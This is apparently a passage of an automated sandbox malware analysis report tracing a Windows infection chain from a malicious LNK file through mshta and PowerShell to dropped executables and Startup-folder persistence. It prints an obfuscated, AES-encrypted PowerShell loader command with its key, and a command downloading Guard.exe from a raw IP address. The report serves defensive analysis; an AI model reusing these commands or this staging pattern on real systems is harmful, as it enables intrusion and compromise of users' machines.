Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wsock32.dll
Source: C:\Users\Public\Guard.exe	Section loaded: version.dll
Source: C:\Users\Public\Guard.exe	Section loaded: winmm.dll
Source: C:\Users\Public\Guard.exe	Section loaded: mpr.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wininet.dll
Source: C:\Users\Public\Guard.exe	Section loaded: iphlpapi.dll
Source: C:\Users\Public\Guard.exe	Section loaded: userenv.dll
Source: C:\Users\Public\Guard.exe	Section loaded: uxtheme.dll
Source: C:\Users\Public\Guard.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Public\Guard.exe	Section loaded: windows.storage.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wldp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: napinsp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\Public\Guard.exe	Section loaded: wshbth.dll
Source: C:\Users\Public\Guard.exe	Section loaded: nlaapi.dll
Source: C:\Users\Public\Guard.exe	Section loaded: mswsock.dll
Source: C:\Users\Public\Guard.exe	Section loaded: dnsapi.dll
Source: C:\Users\Public\Guard.exe	Section loaded: winrnr.dll
Source: C:\Users\Public\Guard.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: twext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cscui.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: rasadhlp.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: duyba.lnk.download.lnk

LNK file: ..\..\..\..\Windows\System32\forfiles.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: dvdplay.pdbGCTL source: mshta.exe, 00000004.00000003.2270225640.000001D8EE742000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2270225640.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269552395.000001D8EE77E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2281480259.000001D8F2724000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2268763504.000001D8EE775000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269402859.000001D8EE763000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269906987.000001D8F2731000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2271483893.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2270056448.000001D8EE76A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277177873.000001D8F2721000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280822303.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, ghep2[1].4.dr
Source:	Binary string: dvdplay.pdb source: mshta.exe, 00000004.00000003.2270225640.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269552395.000001D8EE77E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2268763504.000001D8EE775000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269402859.000001D8EE763000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2271483893.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2270056448.000001D8EE76A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280822303.000001D8EE756000.00000004.00000020.00020000.00000000.sdmp, ghep2[1].4.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($RptYb){return -split ($RptYb -replace '..', '0x$& ')};$TmDJyn = clean('85EF51FEE837F812F61F1656D38BD83A6C01DC072CBCF246D841948987B9BF3C9407C4F8ABE6B3AC5C50C036D5BF68E3CA56C456FB1B2404AC5CC6C48224E43EFF1648E7AF29CE17BF2F62A8A7C7F4DE07613F737B271AA100A67B779C122AD966C15CB3C823908B36BCCBE9B592D037365125E56312B004E07F513AA459ACF6BFEB51AC31152191AF94E56667A3D2A99C72466ED1996C430D4FDBDAAC444A645133FFD6F506740CE6AE51237562A4307EAF56A5E569B87DC171D550AD8A419C8822B7E0E8357121B4EE75DD16DB89B145D82B1C909ABECFAF2CA7275A13D2BF9E37AD98257B106D88D6988DB290C39C801B5ACD6E2249F2E178FCF16B59452E1DF6068D3A31595646428A980314EE83988BEB6E930DAD4F3640861D45D0A054E18C6A6A1DC88EC8B63FC99EA26D553E7BB5359CA978A904B26D285DA2E961D2C21E99F57B1C7F312913323B86FA89527AF31A5917C2DA9F587D7AD9CE91B6BF628678DF96FAE7AC81A58B57440B8A9E5A64E9BA96EB65240C98299F091495E74DF32B68B79275E2937AB69BF3BD5F0EC1E9A16BF58DA85A870C384779CDAD74B0CCBA5DB9AC7C88E57A05E5FB4B20E10C6C366F1EB3C39148D6FD619830E132F469D25D555A553DD869B43849F23E017958E14F9380CFE36FC613F285B96CA940C562F0BBE8C241411E58D012E23CE1C600E9337A739DB5AE1933D65A4E4AF946B7B1F6CF268BD58702C1B7772610043D981C68C31564F5D9BCBC8CD96ECCFFEEA53D365D01D36E4B3484C95363DD6F39138A67AA362CC9C4190026ABF641C6DF0E5D4A3DE01E05606278D5D2CD0D85DC89F086FAFB7491F9C40F89ED33F7D31C9484F5A8801EF1BABD7938BE509E2133642C8F35CA6BC2E09BEBD5D6E25F0DC30937B429ECB2F268B5D43052547BFA5B9ED413A38A20627D472EFB0F8E5508505831BA8934BFEEB8AE9A4BF2628245B5EC010BF6D308960A15DD28CFFB2D4FDABA50ADBE760CF86DACFCC1CC10A16D02B0C2946FCEDF74A822836F4B0F4975FF46B0CBA3CB495C20FC2E2D372C357A0897500BE09B0F824AA768EAFC28D39243CF341DE1E2A07E5CBD4B0252080E82D760C61806F6F7994A7DE1DCAB9D55F435A87A935C06EC1E878265F121BBA0C1C3B138C1C358E3620FE1A9D778846E6E0CC25C2E6EF13359D6033DE5B1EE13790F98BE7CD35C3B754897DB4583B2B846BCD4E1906C8F2416336E8F269DA57FC2A9824FD6457D1FBC840D50A0EBE6EA5D36FCDCAEB24318E174CC5E33792642277DCC1EBD38F0C1E9233BA2B6E85C963CD7EA29A78A0D2F2F3C1C85EEA9CB646881CEB314F342ECD05D23D5A754721D804D2562F5FDA471331489B61431D4EB09A03B9EF4D7FB5B3E8091B05427A6364A5B6D0281A41D08DF8F77CE3D19BBEDA721A10EB0619CC5BD0A356D2E124CD2962CE26B9E426500BC09F540E75EBD01524B2439910F6000364849B4B849A10268817BBDBE676C5F3DC1D39FA1F1A09760E6B0902B7C52C8F09DE7BF7015A029559284A573439130DC0912C8C12F8AFD9D26F921AF247BD1AFFBD37E1985F8D2709B4CE2681126C3BE8125DB7B0AB4C0CF4566221DEE6A82BC22EC143820A60C9066D3FDD32C6A78427A2E86463B2B6FFB7F128E906DB4659BDD9607349255B9A7F5362978B75C4A3D8234B1A87F09B3550450D25B8CC317C18849409DC37399F4E365EF0404E3CFE1AB8DBD8A85A9FF698337D674B0E24EFFA058A278F5943622');$MuOQabMc = [System.Security.Cryptography.Aes]::Create();$MuOQabMc.Key = clean('756561544973656A645A7544464B6A70');$MuOQabMc.IV = New-Object byte[] 16;$LaiuJGbhf = $MuOQabMc.CreateDecryptor();$mGnVsuDWp = [Text.Encoding]::UTF8.GetString($LaiuJGbhf.TransformFinalBlock
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($RptYb){return -split ($RptYb -replace '..', '0x$& ')};$TmDJyn = clean('85EF51FEE837F812F61F1656D38BD83A6C01DC072CBCF246D841948987B9BF3C9407C4F8ABE6B3AC5C50C036D5BF68E3CA56C456FB1B2404AC5CC6C48224E43EFF1648E7AF29CE17BF2F62A8A7C7F4DE07613F737B271AA100A67B779C122AD966C15CB3C823908B36BCCBE9B592D037365125E56312B004E07F513AA459ACF6BFEB51AC31152191AF94E56667A3D2A99C72466ED1996C430D4FDBDAAC444A645133FFD6F506740CE6AE51237562A4307EAF56A5E569B87DC171D550AD8A419C8822B7E0E8357121B4EE75DD16DB89B145D82B1C909ABECFAF2CA7275A13D2BF9E37AD98257B106D88D6988DB290C39C801B5ACD6E2249F2E178FCF16B59452E1DF6068D3A31595646428A980314EE83988BEB6E930DAD4F3640861D45D0A054E18C6A6A1DC88EC8B63FC99EA26D553E7BB5359CA978A904B26D285DA2E961D2C21E99F57B1C7F312913323B86FA89527AF31A5917C2DA9F587D7AD9CE91B6BF628678DF96FAE7AC81A58B57440B8A9E5A64E9BA96EB65240C98299F091495E74DF32B68B79275E2937AB69BF3BD5F0EC1E9A16BF58DA85A870C384779CDAD74B0CCBA5DB9AC7C88E57A05E5FB4B20E10C6C366F1EB3C39148D6FD619830E132F469D25D555A553DD869B43849F23E017958E14F9380CFE36FC613F285B96CA940C562F0BBE8C241411E58D012E23CE1C600E9337A739DB5AE1933D65A4E4AF946B7B1F6CF268BD58702C1B7772610043D981C68C31564F5D9BCBC8CD96ECCFFEEA53D365D01D36E4B3484C95363DD6F39138A67AA362CC9C4190026ABF641C6DF0E5D4A3DE01E05606278D5D2CD0D85DC89F086FAFB7491F9C40F89ED33F7D31C9484F5A8801EF1BABD7938BE509E2133642C8F35CA6BC2E09BEBD5D6E25F0DC30937B429ECB2F268B5D43052547BFA5B9ED413A38A20627D472EFB0F8E5508505831BA8934BFEEB8AE9A4BF2628245B5EC010BF6D308960A15DD28CFFB2D4FDABA50ADBE760CF86DACFCC1CC10A16D02B0C2946FCEDF74A822836F4B0F4975FF46B0CBA3CB495C20FC2E2D372C357A0897500BE09B0F824AA768EAFC28D39243CF341DE1E2A07E5CBD4B0252080E82D760C61806F6F7994A7DE1DCAB9D55F435A87A935C06EC1E878265F121BBA0C1C3B138C1C358E3620FE1A9D778846E6E0CC25C2E6EF13359D6033DE5B1EE13790F98BE7CD35C3B754897DB4583B2B846BCD4E1906C8F2416336E8F269DA57FC2A9824FD6457D1FBC840D50A0EBE6EA5D36FCDCAEB24318E174CC5E33792642277DCC1EBD38F0C1E9233BA2B6E85C963CD7EA29A78A0D2F2F3C1C85EEA9CB646881CEB314F342ECD05D23D5A754721D804D2562F5FDA471331489B61431D4EB09A03B9EF4D7FB5B3E8091B05427A6364A5B6D0281A41D08DF8F77CE3D19BBEDA721A10EB0619CC5BD0A356D2E124CD2962CE26B9E426500BC09F540E75EBD01524B2439910F6000364849B4B849A10268817BBDBE676C5F3DC1D39FA1F1A09760E6B0902B7C52C8F09DE7BF7015A029559284A573439130DC0912C8C12F8AFD9D26F921AF247BD1AFFBD37E1985F8D2709B4CE2681126C3BE8125DB7B0AB4C0CF4566221DEE6A82BC22EC143820A60C9066D3FDD32C6A78427A2E86463B2B6FFB7F128E906DB4659BDD9607349255B9A7F5362978B75C4A3D8234B1A87F09B3550450D25B8CC317C18849409DC37399F4E365EF0404E3CFE1AB8DBD8A85A9FF698337D674B0E24EFFA058A278F5943622');$MuOQabMc = [System.Security.Cryptography.Aes]::Create();$MuOQabMc.Key = clean('756561544973656A645A7544464B6A70');$MuOQabMc.IV = New-Object byte[] 16;$LaiuJGbhf = $MuOQabMc.CreateDecryptor();$mGnVsuDWp = [Text.Encoding]::UTF8.GetString($LaiuJGbhf.TransformFinalBlock	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0E56D64 LoadLibraryA,GetProcAddress,

11_2_00007FF7C0E56D64

Source: ghep2[1].4.dr

Static PE information: real checksum: 0x5f0d should be: 0x150ae

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF8485700BD pushad ; iretd	6_2_00007FF8485700C1
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E87399 push rdi; ret	11_2_00007FF7C0E873A2
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E878FD push rdi; ret	11_2_00007FF7C0E87904
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FF8485A00BD pushad ; iretd	18_2_00007FF8485A00C1
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006D8B75 push ecx; ret	20_2_006D8B88
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006CCBF4 push eax; retf	20_2_006CCBF8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002B8B75 push ecx; ret	24_2_002B8B88

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe

Drops PE files with a suspicious file extension

Source: C:\Users\Public\Guard.exe

File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Jump to dropped file
Source: C:\Users\Public\Guard.exe	File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Guard.exe	Jump to dropped file
Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\ghep2[1]	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Guard.exe

Jump to dropped file

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\ghep2[1]

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Guard.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E74514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,	11_2_00007FF7C0E74514
Source: C:\Users\Public\Guard.exe	Code function: 20_2_007359B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	20_2_007359B3
Source: C:\Users\Public\Guard.exe	Code function: 20_2_006C5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	20_2_006C5EDA
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_003159B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	24_2_003159B3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002A5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	24_2_002A5EDA

Source: C:\Users\Public\Guard.exe

Code function: 20_2_006D33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

20_2_006D33B7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
